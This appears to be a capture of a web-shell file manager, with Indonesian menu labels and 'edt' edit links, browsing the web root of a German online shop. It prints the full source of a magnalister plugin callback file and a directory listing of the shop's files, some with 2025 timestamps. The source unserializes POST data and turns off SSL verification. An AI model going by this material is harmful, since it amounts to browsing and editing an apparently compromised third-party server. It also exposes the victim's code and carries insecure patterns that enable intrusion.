WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / styroporzuschnitte24_shop / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/magnaCallback.php (20.86 KB)
<?php
/**
 * 888888ba                 dP  .88888.                    dP                
 * 88    `8b                88 d8'   `88                   88                
 * 88aaaa8P' .d8888b. .d888b88 88        .d8888b. .d8888b. 88  .dP  .d8888b. 
 * 88   `8b. 88ooood8 88'  `88 88   YP88 88ooood8 88'  `"" 88888"   88'  `88 
 * 88     88 88.  ... 88.  .88 Y8.   .88 88.  ... 88.  ... 88  `8b. 88.  .88 
 * dP     dP `88888P' `88888P8  `88888'  `88888P' `88888P' dP   `YP `88888P' 
 *
 *                          m a g n a l i s t e r
 *                                      boost your Online-Shop
 *
 * -----------------------------------------------------------------------------
 * $Id: magnaCallback.php 1537 2012-02-02 14:41:02Z derpapst $
 *
 * (c) 2010 RedGecko GmbH -- http://www.redgecko.de
 *     Released under the GNU General Public License v2 or later
 * -----------------------------------------------------------------------------
 */

define('MAGNA_DEBUG', false);
define('MAGNA_SHOW_WARNINGS', false);
define('MAGNA_SERVICE_URL', 'http://api.magnalister.com/');
define('MAGNA_API_SCRIPT', 'API/');
define('MAGNA_PLUGIN_DIR', 'magnalister/');
define('MAGNA_UPDATE_PATH', 'update/oscommerce/');
define('MAGNA_UPDATE_FILEURL', MAGNA_SERVICE_URL.MAGNA_UPDATE_PATH);

$_magnacallbacktimer = $_executionTime = microtime(true);


function magnaHandleFatalError() {
	$errorOccured = false;
	if (version_compare(PHP_VERSION, '5.2.0', '>=')) {
		$le = error_get_last();
		if (empty($le)) return;
		if (((E_NOTICE | E_USER_NOTICE | E_WARNING | E_USER_WARNING | 
		      E_DEPRECATED | E_USER_DEPRECATED | E_STRICT) & $le['type']) == 0
		) {
			echo '<pre>'.print_r(error_get_last(), true).'</pre>';
			$errorOccured = true;
		}
	} else {
		global $php_errormsg;
		if (empty($php_errormsg)) return;
		echo '<pre>'.$php_errormsg.'</pre>';
		$errorOccured = true;
	}
	if ($errorOccured) {
		if (version_compare(PHP_VERSION, '5.2.5', '>=')) {
			echo '<pre>'.print_r(debug_backtrace(false), true).'</pre>';
		} else {
			echo '<pre>'.print_r(debug_backtrace(), true).'</pre>';
		}
	}
}

if (MAGNA_DEBUG && MAGNA_SHOW_WARNINGS) {
	ini_set("display_errors", 1);
	register_shutdown_function('magnaHandleFatalError');
	if (version_compare(PHP_VERSION, '5.2.0', '<')) {
		ini_set('track_errors', 1);
	}
}

if (isset($_GET['MLDEBUG']) && ($_GET['MLDEBUG'] == 'true')) {
	function ml_debug_out($m) {
		echo $m;
		flush();
	}
}

/**
 * Kodiert Ergebnisse die Funktionen liefern die API-artig aufgerufen wurden. 
 */
function magnaEncodeResult($res) {
	return '{#'.base64_encode(serialize($res)).'#}';
}

define('MAGNA_WITHOUT_DB_INSTALL', 0x00000002);
define('MAGNA_WITHOUT_AUTH',       0x00000004);
define('MAGNA_WITHOUT_ACTIVATION', 0x00000008);

/**
 * Diese Funktion ruft andere hier hinterlegte Funktionnen auf. Sinn ist den zu
 * aendernden Code in Shop eigenen Scripten so gering wie moeglich zu halten.
 *
 * @param $functionName	Name der auszufuehrenden Funktion oder Aktion
 * @param $arguments	Assoziatives Array mit Parametern
 */
function magnaExecute($functionName, $arguments = array(), $includes = array(), $opts = 0) {
	if (!magnaInstalled(($opts & MAGNA_WITHOUT_DB_INSTALL) == MAGNA_WITHOUT_DB_INSTALL)
		|| !(
			(($opts & MAGNA_WITHOUT_ACTIVATION) == MAGNA_WITHOUT_ACTIVATION) || magnaActivated()
		)
		|| !(
			(($opts & MAGNA_WITHOUT_AUTH) == MAGNA_WITHOUT_AUTH) || magnaAuthed()
		)
	) {
		return false;
	}
	if (!empty($includes)) {
		foreach ($includes as $incl) {
			require_once(DIR_MAGNALISTER_INCLUDES.'callback/'.$incl);
		}
	}

	if (function_exists($functionName)) {
		return $functionName($arguments);
	}
	return false;
}

function magnaEchoDiePage($title, $content, $style = '') {
	header('Content-Type: text/html; charset=utf-8');
	echo '<!doctype html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>magnalister :: ' . $title . '</title>
		<style>
body { font: 12px sans-serif; }
' . $style . '
		</style>
	</head>
	<body>
		' . $content . '
		<a href="' . $_SERVER['HTTP_REFERER'] . '" title="Back / Zur&uuml;ck">Back / Zur&uuml;ck</a>
	</body>
</html>';
	exit();
}

/**
 * Testet ob alle notwendigen und hinreichenden Kriterien zum Betrieb des magnalisters erfuellt werden.
 */
function magnaCompartCheck() {
	/* TimeOut Check */
	$maxExecutionTime = ini_get('max_execution_time');
	if ($maxExecutionTime != '0') {
		@set_time_limit($maxExecutionTime+5);
		$newMaxExecutionTime = ini_get('max_execution_time');
	}
	
	/* RAM Check */
	$maxRam = ini_get('memory_limit');
	ini_set('memory_limit', '247M');
	$newMaxRam = ini_get('memory_limit');
	ini_set('memory_limit', $maxRam);

	$currentClientURL = MAGNA_SERVICE_URL.MAGNA_UPDATE_PATH.'ClientVersion';
	/* cURL Check */
	if (function_exists('curl_version')) {
		$url = $currentClientURL;
	
		$cURLVersion = curl_version();
	
	    $ch = curl_init();
		$hasSSL = @in_array('https', $cURLVersion['protocols']);
		if ($hasSSL) {
			$url = str_replace('http://', 'https://', $url);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
			curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		}
		curl_setopt($ch, CURLOPT_URL, $url);
	
	    curl_setopt($ch, CURLOPT_HEADER, 0);
	    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
	
	    $localClientVersionCURL = curl_exec($ch);
	    if (curl_errno($ch) == CURLE_OPERATION_TIMEOUTED) {
	    	$localClientVersionCURL = false;
	    }
	    curl_close($ch);
	
	} else {
		$cURLVersion = array();
		$cURLVersion['version'] = false;
		$localClientVersionCURL = false;
		$hasSSL = false;
	}

	return array(
		'timeout' => array (
			'changeable' => (($maxExecutionTime == '0') || ($maxExecutionTime != $newMaxExecutionTime)),
			'default' => $maxExecutionTime
		),
		'ram' => array (
			'changeable' => ($maxRam != $newMaxRam),
			'default' => $maxRam
		),
		'safemode' => ini_get('safe_mode'),
		'magicquotes' => (get_magic_quotes_gpc() != 0),
		'phpversion' => PHP_VERSION,
		'mysqlversion' => class_exists('MagnaDB') ? MagnaDB::gi()->fetchOne('SELECT VERSION()') : mysql_result(mysql_query('SELECT VERSION()'), 0),
		'curl' => array (
			'version' => $cURLVersion['version'],
			'hasSSL' => $hasSSL,
			'connects' => ($localClientVersionCURL != 0)
		),
		'file_get_contents' => (@file_get_contents($currentClientURL) !== false),
		'ml_installed' => magnaInstalled(),
		'ml_activated' => magnaActivated(),
		'ml_authed' => magnaAuthed(),
	);
}

function fileGetContents($path, &$warnings = null, $timeout = 10) {
	if (function_exists('curl_init') && (strpos($path, 'http') !== false)) {
		$warnings = '';
	    $ch = curl_init();

	    curl_setopt($ch, CURLOPT_URL, $path);
	    curl_setopt($ch, CURLOPT_HEADER, 0);
	    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	    if ($timeout > 0) {
			curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
			curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
		}
    	$return = curl_exec($ch);
	    if (curl_errno($ch) == CURLE_OPERATION_TIMEOUTED) {
	    	$return = false;
	    }
	   	$warning = curl_error($ch);
	    curl_close($ch);

	    return $return;
	}

	if ($timeout > 0) {
		$context = stream_context_create(array(
			'http' => array('timeout' => $timeout)
		));
	} else {
		$context = null;
	}
	ob_start();
	$return = file_get_contents($path, false, $context);
	$warnings = ob_get_contents();
	ob_end_clean();

	return $return;
}

function magnaConfigureForFrontendMode() {
	/* Let's hope there is a admin dir :) */
	if (!defined('DIR_FS_ADMIN') && is_dir(dirname(__FILE__) . '/admin/') && is_dir(dirname(__FILE__) . '/admin/includes/')) {
		define('DIR_FS_ADMIN', dirname(__FILE__) . '/admin/');
	} else if (!defined('DIR_FS_ADMIN')) {
		magnaEchoDiePage(
			'Shop Admin directory not found / Shop Admin Verzeichnis nicht gefunden.', 
			'<p>The Shop Admin directory can not be found. To fix this open the file 
			<tt>' . dirname(__FILE__) . '/includes/configure.php</tt> and add the following line:</p>
			<pre>define(\'DIR_FS_ADMIN\', \'/absolute/path/to/your/shop/admin/\');</pre>
			<p>Please use the absolute path to your shop admin directory.</p><br/>
			<p>Das Shop Admin Verzeichnis konnte nicht gefunden werden. Um dies zu
			korrigieren &ouml;ffnen Sie die Datei <tt>' . dirname(__FILE__) . '/includes/configure.php</tt>
			und f&uuml;gen Sie folgende Zeile hinzu:</p>
			<pre>define(\'DIR_FS_ADMIN\', \'/absoluter/pfad/zum/shop/admin/\');</pre>
			<p>Bitte benutzen Sie den absoluten Pfad zum Shop Admin Verzeichnis.</p>
		');
	}
	define('DIR_MAGNALISTER', DIR_FS_ADMIN . 'includes/magnalister/');
}

function magnaInstalled($woDBCheck = false) {
	global $_magnaIsInstalled, $_magnaFilesInstalled;

	if ($woDBCheck) {
		if (isset($_SESSION['magnaFilesInstalled']) && ($_SESSION['magnaFilesInstalled'] === true)) {
			$_magnaFilesInstalled = $_SESSION['magnaFilesInstalled'];
		}
		if (isset($_magnaFilesInstalled) && is_bool($_magnaFilesInstalled)) {
			return $_magnaFilesInstalled;
		}
	} else {
		if (isset($_SESSION['magnaIsInstalled']) && ($_SESSION['magnaIsInstalled'] === true)) {
			$_magnaIsInstalled = $_SESSION['magnaIsInstalled'];
		}
		if (isset($_magnaIsInstalled) && is_bool($_magnaIsInstalled)) {
			return $_magnaIsInstalled;
		}
	}

	$_magnaFilesInstalled = file_exists(DIR_MAGNALISTER_INCLUDES.'lib/MagnaDB.php') 
		&& file_exists(DIR_MAGNALISTER_INCLUDES.'modules.php')
		&& file_exists(DIR_MAGNALISTER_INCLUDES.'lib/functionLib.php')
		&& file_exists(DIR_MAGNALISTER_CALLBACK.'callbackFunctions.php')
		&& is_dir(DIR_MAGNALISTER.'db/');
	if (!$_magnaFilesInstalled) return $_magnaFilesInstalled;
	if ($woDBCheck) {
		return $_magnaFilesInstalled;
	}
	require_once(DIR_MAGNALISTER_INCLUDES . 'lib/MagnaDB.php');
	$_magnaIsInstalled = MagnaDB::gi()->tableExists(TABLE_MAGNA_CONFIG);
	if (!$_magnaIsInstalled) return $_magnaIsInstalled;
	
	$dbV = (int)MagnaDB::gi()->fetchOne('SELECT `value` FROM `'.TABLE_MAGNA_CONFIG.'` WHERE `mkey`=\'CurrentDBVersion\'');
	if ($dbV <= 0) {
		$_magnaIsInstalled = false;
		return $_magnaIsInstalled;
	}

	$dbDir = DIR_MAGNALISTER.'db/';
    if (!$dirhandle = @opendir($dbDir)) {
    	$_magnaIsInstalled = false;
		return $_magnaIsInstalled;
    }
	$sqlFiles = array();
    while (false !== ($filename = readdir($dirhandle))) {
    	if (!preg_match('/^[0-9]*\.sql\.php$/', $filename)) continue;
    	$sqlFiles[] = $filename;
    }
	sort($sqlFiles);
	$nDBV = (int)array_pop($sqlFiles);
	#var_dump($dbV, $nDBV, $dbV < $nDBV);
	if ($dbV < $nDBV) {
		$_magnaIsInstalled = false;
	}
	$_SESSION['magnaIsInstalled'] = $_magnaIsInstalled = true;
	return $_magnaIsInstalled;
}

function magnaActivated() {
	global $_magnaIsActivated;
	if (isset($_magnaIsActivated) && is_bool($_magnaIsActivated)) {
		return $_magnaIsActivated;
	}
	if (!class_exists('MagnaDB')) {
		$_magnaIsActivated = false;
		return $_magnaIsActivated;
	}
	if (MagnaDB::gi()->tableExists(TABLE_ADMIN_ACCESS)) {
		$adminAccess = MagnaDB::gi()->fetchRow('SELECT * FROM '.TABLE_ADMIN_ACCESS.' LIMIT 1');
		$_magnaIsActivated = isset($adminAccess['magnalister']) && MagnaDB::gi()->tableExists(TABLE_MAGNA_CONFIG);
	} else {
		$_magnaIsActivated = MagnaDB::gi()->tableExists(TABLE_MAGNA_CONFIG);
	}
	return $_magnaIsActivated;
}

function magnaAuthed() {
	global $_magnaIsAuthed, $magnaConfig;
	if (isset($_magnaIsAuthed) && is_bool($_magnaIsAuthed)) {
		return $_magnaIsAuthed;
	}
	if (isset($magnaConfig['maranon']) && is_array($magnaConfig['maranon']) && !empty($magnaConfig['maranon'])) {
		$_magnaIsAuthed = true;
	} else {
		$_magnaIsAuthed = false;
	}
	return $_magnaIsAuthed;
}

function refreshCurrentClientVersion() {
	if (($currentClientVersion = fileGetContents(
			MAGNA_UPDATE_FILEURL.'ClientVersion/'.LOCAL_CLIENT_VERSION.'/',
			$foo,
			(MAGNA_CALLBACK_MODE == 'UTILITY') ? 1 : 5
		)) !== false
	) {
		$currentClientVersion = @json_decode($currentClientVersion, true);
	}
	if (!is_array($currentClientVersion) || !array_key_exists('CLIENT_VERSION', $currentClientVersion)) {
		$currentClientVersion = array (
			'CLIENT_VERSION' => 0,
			'MIN_CLIENT_VERSION' => 0,
			'CLIENT_BUILD_VERSION' => 0,
			/* only 10 minutes */
			'DATETIME' => time() - 60 * 60 * 24 + 10 * 60
		);
	} else {
		$currentClientVersion['DATETIME'] = time();
	}
	#echo print_m($currentClientVersion, 'nu cache');
	MagnaDB::gi()->insert(TABLE_MAGNA_CONFIG, array (
		'mpID' => 0,
		'mkey' => 'CurrentClientVersion',
		'value' => serialize($currentClientVersion)
	), true);
	return $currentClientVersion;
}

function magnaDetermineCurrentClientVersion() {
	#$_t = microtime(true);
	$cCVDB = MagnaDB::gi()->fetchOne('SELECT value FROM '.TABLE_MAGNA_CONFIG.' WHERE mpID=0 AND mkey=\'CurrentClientVersion\'');
	$cCVDB = @unserialize($cCVDB);
	$cCV = array();
	do {
		if (!is_array($cCVDB) || !array_key_exists('DATETIME', $cCVDB)) break;
		$lastPulled = @strtotime($cCVDB['DATETIME']);
		/* Cached for 24h, but only in magnaCallback */
		if ($cCVDB['DATETIME'] < (time() - 60 * 60 * 24)) break;
		$cCV = $cCVDB;
		#echo 'Cache! :-D '.(microtime(true) - $_t)."\n";
	} while (false);
	if (empty($cCV)) {
		$cCV = refreshCurrentClientVersion();
	}
	#flush();
	define('CURRENT_CLIENT_VERSION', $cCV['CLIENT_VERSION']);
	define('MINIMUM_CLIENT_VERSION', $cCV['MIN_CLIENT_VERSION']);
	define('CURRENT_BUILD_VERSION', $cCV['CLIENT_BUILD_VERSION']);
	if (CURRENT_CLIENT_VERSION != 0) {
		define(
			'MAGNA_VERSION_TOO_OLD', 
			version_compare(CURRENT_CLIENT_VERSION, LOCAL_CLIENT_VERSION, '>') && version_compare(MINIMUM_CLIENT_VERSION, LOCAL_CLIENT_VERSION, '>')
		);
	} else {
		define('MAGNA_VERSION_TOO_OLD', false);
	}
}

function magnaCallbackRun() {
	/* These variables are used among the mangalister. So they have to be declared as global. */
	global $magnaConfig, $_magnaLanguage, $_MagnaSession, $_MagnaShopSession, $_modules,
	       $_magnaIsInstalled, $_magnaIsActivated, $_magnaIsAuthed;

	date_default_timezone_set(@date_default_timezone_get());
	
	if (!defined('_VALID_XTC')) {
		define('_VALID_XTC', true);
	}
	
	if (!defined('DIR_MAGNALISTER')) { /* included in admin area, everything works out of the box */
		if (is_dir('includes/magnalister/'))
			define('DIR_MAGNALISTER', 'includes/magnalister/');
		else if (is_dir(dirname(__FILE__) . '/admin/includes/magnalister/'))
			define('DIR_MAGNALISTER', dirname(__FILE__) . '/admin/includes/magnalister/');
		else define('DIR_MAGNALISTER', false);
	}
	
	if (!defined('DIR_FS_DOCUMENT_ROOT')) {
		define('DIR_FS_DOCUMENT_ROOT', dirname(__FILE__).'/');
	}
	
	define('DIR_MAGNALISTER_INCLUDES',   DIR_MAGNALISTER.'php/');
	define('DIR_MAGNALISTER_MODULES',    DIR_MAGNALISTER_INCLUDES.'modules/');
	define('DIR_MAGNALISTER_CALLBACK',   DIR_MAGNALISTER_INCLUDES.'callback/');
	define('DIR_MAGNALISTER_CACHE',      DIR_MAGNALISTER.'cache/');
	define('DIR_MAGNALISTER_IMAGECACHE', DIR_MAGNALISTER_CACHE.'images/');
	define('DIR_MAGNALISTER_RESOURCE',   DIR_MAGNALISTER.'resource/');
	define('DIR_MAGNALISTER_IMAGES',     DIR_MAGNALISTER.'images/');
	define('DIR_MAGNALISTER_CONTRIBS',   DIR_MAGNALISTER.'contribs/');
	define('DIR_MAGNALISTER_LOGS',       DIR_MAGNALISTER.'logs/');

	/* Issued a compart check (eiter get or post)? */
	if ((MAGNA_CALLBACK_MODE == 'STANDALONE') && array_key_exists('function', $_REQUEST) && ($_REQUEST['function'] == 'magnaCompartCheck')) {
		echo magnaEncodeResult(magnaCompartCheck());
		return;
	}

	/* Wenn Dateien noch nicht installiert, nix machen */
	if (!magnaInstalled(true)) return;

	include_once(DIR_MAGNALISTER_INCLUDES . 'identifyShop.php');
	require_once(DIR_MAGNALISTER_INCLUDES . 'lib/json_wrapper.php');
	require_once(DIR_MAGNALISTER_INCLUDES . 'lib/functionLib.php');
	/* Language-Foo */
	$_magnaAvailableLanguages = magnaGetAvailableLanguages();
	if (in_array($_SESSION['language'], $_magnaAvailableLanguages)) {
		$_magnaLanguage = $_SESSION['language'];
	} else {
		$_magnaLanguage = array_first($_magnaAvailableLanguages);
	}
	
	include_once(DIR_MAGNALISTER.'lang/'.$_magnaLanguage.'.php');
	/* Description of Modules */
	require_once(DIR_MAGNALISTER_INCLUDES.'modules.php');
	/* Must be loaded after loading the language definitions. */
	require_once(DIR_MAGNALISTER_INCLUDES . 'lib/magnaFunctionLib.php');
	require_once(DIR_MAGNALISTER_INCLUDES . 'lib/MagnaDB.php');
	require_once(DIR_MAGNALISTER_INCLUDES . 'config.php');
	require_once(DIR_MAGNALISTER_INCLUDES . 'lib/MagnaException.php');
	require_once(DIR_MAGNALISTER_INCLUDES . 'lib/MagnaError.php');
	require_once(DIR_MAGNALISTER_INCLUDES . 'lib/MagnaConnector.php');
	
	require_once(DIR_MAGNALISTER_CALLBACK . 'callbackFunctions.php');
	
	if (!defined('TABLE_ADMIN_ACCESS')) {
		define('TABLE_ADMIN_ACCESS', 'admin_access');
	}
	
	if (($localClientVersion = @file_get_contents(DIR_MAGNALISTER.'ClientVersion')) !== false) {
		$localClientVersion = @json_decode($localClientVersion, true);
	}
	if (is_array($localClientVersion) && array_key_exists('CLIENT_VERSION', $localClientVersion)) {
		define('LOCAL_CLIENT_VERSION', $localClientVersion['CLIENT_VERSION']);
		define('CLIENT_BUILD_VERSION', $localClientVersion['CLIENT_BUILD_VERSION']);
	} else {
		define('LOCAL_CLIENT_VERSION', 0);
		define('CLIENT_BUILD_VERSION', 0);
	}

	/* Wenn DB noch nicht installiert, nix machen */
	if (!magnaInstalled(false)) return;

	/* Wenn Modul nicht aktiviert, dann auch nix machen. */
	if (!magnaActivated()) return;

	loadDBConfig();

	/* The plugin noticed that it has no access to the service layer for multiple times.
	   Don't do any requests that are going to fail anyway. */
	if ((bool)getDBConfigValue('CallbackAccessDenied', 0, false)) {
		#echo 'AccessDenied';
		return;
	}

	magnaDetermineCurrentClientVersion();
	/* Do nothing if magnalister server is currently not available. */
	if (CURRENT_CLIENT_VERSION == 0) return;

	/* Check ob's kritisches Update gibt. Falls ja, nichts machen, Meldung ausgeben. */
	if (MAGNA_VERSION_TOO_OLD) {
		if (MAGNA_CALLBACK_MODE == 'STANDALONE') {
			echo 'magnalister version is too old. Please update.';
		}
		return;
	}

	loadJSONConfig();
	loadJSONConfig($_magnaLanguage);
	
	if ((MAGNA_CALLBACK_MODE == 'UTILITY') && !MAGNA_IN_ADMIN) {
		MagnaConnector::gi()->setTimeOutInSeconds(2);
	}

	if (!loadMaranonCacheConfig()) return;

	/* Wenn noch kein oder fehlerhafter PassPhrase hinterlegt: auch nix machen. */
	if (!magnaAuthed()) return;

	# verhindern dass sich die Datenbank mit Fehler 2006 verabschiedet
	if (class_exists('MagnaDB') && method_exists('MagnaDB','mysqlSetHigherTimeout')) {
		MagnaDB::gi()->mysqlSetHigherTimeout((MAGNA_CALLBACK_MODE == 'UTILITY') ? 60 * 60 : 60 * 60 * 2);
	}

	/* API-Artige Funktionalitaet */
	if ((MAGNA_CALLBACK_MODE == 'STANDALONE') &&
		array_key_exists('passphrase', $_POST) && 
	    ($_POST['passphrase'] == getDBConfigValue('general.passphrase', 0)) &&
	    array_key_exists('function', $_POST)
	) {
		$arguments = array_key_exists('arguments', $_POST) ? unserialize($_POST['arguments']) : array();
		$arguments = is_array($arguments) ? $arguments : array();
		
		$includes = array_key_exists('includes', $_POST) ? unserialize($_POST['includes']) : array();
		$includes = is_array($includes) ? $includes : array();
		
		MagnaDB::gi()->setShowDebugOutput(false);
		
		echo magnaEncodeResult(magnaExecute($_POST['function'], $arguments, $includes));

		ob_start(); /* Kein Output, nur ordendliches Beenden */
		require_once('includes/application_bottom.php');
		ob_end_clean();
		return;
	}

	/* Nur im Standalone-Modus zeitintensive Prozesse verarbeiten. */
	if (MAGNA_CALLBACK_MODE == 'STANDALONE') {
		if (!defined('MAGNA_EXECUTE_INSTEAD')) {
			require_once(DIR_MAGNALISTER_CALLBACK.'callbackProcessor.php');
			magnaProcessCallbackRequest();
		} else {
			$magnaFunc = MAGNA_EXECUTE_INSTEAD;
			$magnaFunc();
		}
		ob_start(); /* Kein Output, nur ordendliches Beenden */
		require_once('includes/application_bottom.php');
		ob_end_clean();
	}

}

# Modus festlegen
if (!defined('MAGNA_CALLBACK_MODE')) {
	if (basename($_SERVER['SCRIPT_NAME']) == basename(__FILE__)) {
		define('MAGNA_CALLBACK_MODE', 'STANDALONE');
		header('Content-Type: text/plain; charset=utf-8');
	} else {
		define('MAGNA_CALLBACK_MODE', 'UTILITY');
	}
}

if (MAGNA_CALLBACK_MODE == 'STANDALONE') {
	define('MAGNA_IN_ADMIN', false);
	if (!in_array('application_top.php', preg_replace("/\/.*\//", "", get_included_files()))) {
		include('includes/application_top.php');		
	}
	magnaConfigureForFrontendMode();
	header('Content-Type: text/plain; charset=utf-8');
} else {
	/* Where have we been called? Frontend or backend?! */
	if (dirname($_SERVER['SCRIPT_FILENAME']).'/' == DIR_FS_DOCUMENT_ROOT) {
		/* Frontend */
		magnaConfigureForFrontendMode();
		define('MAGNA_IN_ADMIN', false);
	} else {
		define('MAGNA_IN_ADMIN', true);
	}
}

magnaCallbackRun();

$_magnacallbacktimer = microtime(true)  - $_magnacallbacktimer;
namawaktuukuranownerpermaksi
..
PdfCreator/ 2013-11-12 21:09202.72 KB 76129f60960:kundendxwrx-rx-r
StyleEdit/ 2013-11-12 21:101.42 MB 76129f60960:kundendxwrx-rx-r
actindo/ 2013-11-12 20:52340.67 KB 76129f60960:kundendxwrx-rx-r
admin/ 2013-11-12 20:5316.69 MB 76129f60960:kundendxwrx-rx-r
cache/ 2025-01-28 22:35150.58 KB 76129f60960:kundendxwrx-rx-r
callback/ 2013-11-12 21:01390.73 KB 76129f60960:kundendxwrx-rx-r
download/ 2025-01-28 22:35109 B 76129f60960:kundendxwrx-rx-r
export/ 2013-11-12 22:46179.73 KB 76129f60960:kundendxwrx-rx-r
ext/ 2013-11-12 21:01271.04 KB 76129f60960:kundendxwrx-rx-r
gm/ 2013-11-12 21:032.27 MB 76129f60960:kundendxwrx-rx-r
iclear/ 2013-11-12 21:041.05 MB 76129f60960:kundendxwrx-rx-r
images/ 2013-11-14 15:4811.41 MB 76129f60960:kundendxwrx-rx-r
import/ 2013-11-12 21:052 B 76129f60960:kundendxwrx-rx-r
inc/ 2013-11-12 21:05349.91 KB 76129f60960:kundendxwrx-rx-r
includes/ 2025-01-28 22:353.75 MB 76129f60960:kundendxwrx-rx-r
lang/ 2013-11-12 21:071.95 MB 76129f60960:kundendxwrx-rx-r
lettr/ 2025-01-28 22:3525.98 KB 76129f60960:kundendxwrx-rx-r
logfiles/ 2018-07-12 04:18330.63 KB 76129f60960:kundendxwrx-rx-r
media/ 2013-11-12 22:3215.49 KB 76129f60960:kundendxwrx-rx-r
promo/ 2013-11-12 21:09119.04 KB 76129f60960:kundendxwrx-rx-r
pub/ 2025-01-28 22:3538 B 76129f60960:kundendxwrx-rx-r
shopgate/ 2025-01-28 22:35811.32 KB 76129f60960:kundendxwrx-rx-r
system/ 2013-11-12 21:11678.06 KB 76129f60960:kundendxwrx-rx-r
templates/ 2013-11-12 21:111.71 MB 76129f60960:kundendxwrx-rx-r
templates_c/ 2017-11-16 23:11158.67 KB 76129f60960:kundendxwrx-rx-r
user_classes/ 2013-11-12 21:1412.3 KB 76129f60960:kundendxwrx-rx-r
.DS_Store 2013-11-12 20:5124 KB 76129f60960:kunden-xw-x-----
edt
.htaccess 2025-01-28 22:3599 B 76129f60960:kunden-xw-x-----
edt
LICENSE.txt 2013-11-12 20:5217.83 KB 76129f60960:kunden-xw-x-----
edt
LIZENZUEBERSETZUNG.txt 2013-11-12 20:5225.33 KB 76129f60960:kunden-xw-x-----
edt
WICHTIGE_HINWEISE.txt 2013-11-12 20:521.87 KB 76129f60960:kunden-xw-x-----
edt
account.php 2013-11-12 20:511.93 KB 76129f60960:kunden-xw-x-----
edt
account_edit.php 2013-11-12 20:5116.32 KB 76129f60960:kunden-xw-x-----
edt
account_history.php 2013-11-12 20:515 KB 76129f60960:kunden-xw-x-----
edt
account_history_info.php 2013-11-12 20:516.57 KB 76129f60960:kunden-xw-x-----
edt
account_password.php 2013-11-12 20:517.01 KB 76129f60960:kunden-xw-x-----
edt
address_book.php 2013-11-12 20:511.81 KB 76129f60960:kunden-xw-x-----
edt
address_book_process.php 2013-11-12 20:5116.86 KB 76129f60960:kunden-xw-x-----
edt
advanced_search.php 2013-11-12 20:511.63 KB 76129f60960:kunden-xw-x-----
edt
advanced_search_result.php 2013-11-12 20:5112.1 KB 76129f60960:kunden-xw-x-----
edt
checkout_confirmation.php 2013-11-12 20:5127.82 KB 76129f60960:kunden-xw-x-----
edt
checkout_iclear.php 2013-11-12 20:518.82 KB 76129f60960:kunden-xw-x-----
edt
checkout_payment.php 2013-11-12 20:5116.71 KB 76129f60960:kunden-xw-x-----
edt
checkout_payment_address.php 2013-11-12 20:5112.14 KB 76129f60960:kunden-xw-x-----
edt
checkout_process.php 2013-11-12 20:5136.23 KB 76129f60960:kunden-xw-x-----
edt
checkout_qpay.php 2013-11-12 20:512.67 KB 76129f60960:kunden-xw-x-----
edt
checkout_shipping.php 2013-11-12 20:5114.43 KB 76129f60960:kunden-xw-x-----
edt
checkout_shipping_address.php 2013-11-12 20:5112.66 KB 76129f60960:kunden-xw-x-----
edt
checkout_success.php 2013-11-12 20:515.89 KB 76129f60960:kunden-xw-x-----
edt
checkout_vrepay_elv.php 2013-11-12 20:512.3 KB 76129f60960:kunden-xw-x-----
edt
checkout_vrepay_giropay.php 2013-11-12 20:511.52 KB 76129f60960:kunden-xw-x-----
edt
checkout_vrepay_kreditkarte.php 2013-11-12 20:512.33 KB 76129f60960:kunden-xw-x-----
edt
clickandbuy_check.php 2013-11-12 20:513.94 KB 76129f60960:kunden-xw-x-----
edt
clickandbuy_ems_push_endpoint.php 2013-11-12 20:513.48 KB 76129f60960:kunden-xw-x-----
edt
cookie_usage.php 2013-11-12 20:511.92 KB 76129f60960:kunden-xw-x-----
edt
cout_qpay_iframe.php 2013-11-12 20:511 KB 76129f60960:kunden-xw-x-----
edt
create_account.php 2013-11-12 20:5138.03 KB 76129f60960:kunden-xw-x-----
edt
create_guest_account.php 2013-11-12 20:5131.6 KB 76129f60960:kunden-xw-x-----
edt
display_vvcodes.php 2013-11-12 20:51750 B 76129f60960:kunden-xw-x-----
edt
download.php 2013-11-12 20:513.75 KB 76129f60960:kunden-xw-x-----
edt
fax.html 2013-11-12 20:513.99 KB 76129f60960:kunden-xw-x-----
edt
gm_account_delete.php 2013-11-12 20:512.92 KB 76129f60960:kunden-xw-x-----
edt
gm_ajax.php 2013-11-12 20:511.82 KB 76129f60960:kunden-xw-x-----
edt
gm_corner.gif.php 2013-11-12 20:513.39 KB 76129f60960:kunden-xw-x-----
edt
gm_counter.php 2013-11-12 20:51143 B 76129f60960:kunden-xw-x-----
edt
gm_counter_set_screen.php 2013-11-12 20:511.16 KB 76129f60960:kunden-xw-x-----
edt
gm_create_vvcodes.php 2013-11-12 20:51533 B 76129f60960:kunden-xw-x-----
edt
gm_css_monitor.php 2013-11-12 20:518.94 KB 76129f60960:kunden-xw-x-----
edt
gm_ebay.php 2013-11-12 20:51917 B 76129f60960:kunden-xw-x-----
edt
gm_gprint.js.php 2013-11-12 20:511002 B 76129f60960:kunden-xw-x-----
edt
gm_gprint_ajax.php 2013-11-12 20:5238.48 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_download.php 2013-11-12 20:521.76 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_order_ajax.php 2013-11-12 20:521.47 KB 76129f60960:kunden-xw-x-----
edt
gm_guestbook.php 2013-11-12 20:522.52 KB 76129f60960:kunden-xw-x-----
edt
gm_javascript.js.php 2013-11-12 20:524.3 KB 76129f60960:kunden-xw-x-----
edt
gm_opensearch.php 2013-11-12 20:52718 B 76129f60960:kunden-xw-x-----
edt
gm_price_offer.php 2013-11-12 20:521.57 KB 76129f60960:kunden-xw-x-----
edt
gm_privacy.php 2013-11-12 20:523.2 KB 76129f60960:kunden-xw-x-----
edt
gm_product_export_cron.php 2013-11-12 20:524.4 KB 76129f60960:kunden-xw-x-----
edt
gv_redeem.php 2013-11-12 20:523.84 KB 76129f60960:kunden-xw-x-----
edt
gv_send.php 2013-11-12 20:529.58 KB 76129f60960:kunden-xw-x-----
edt
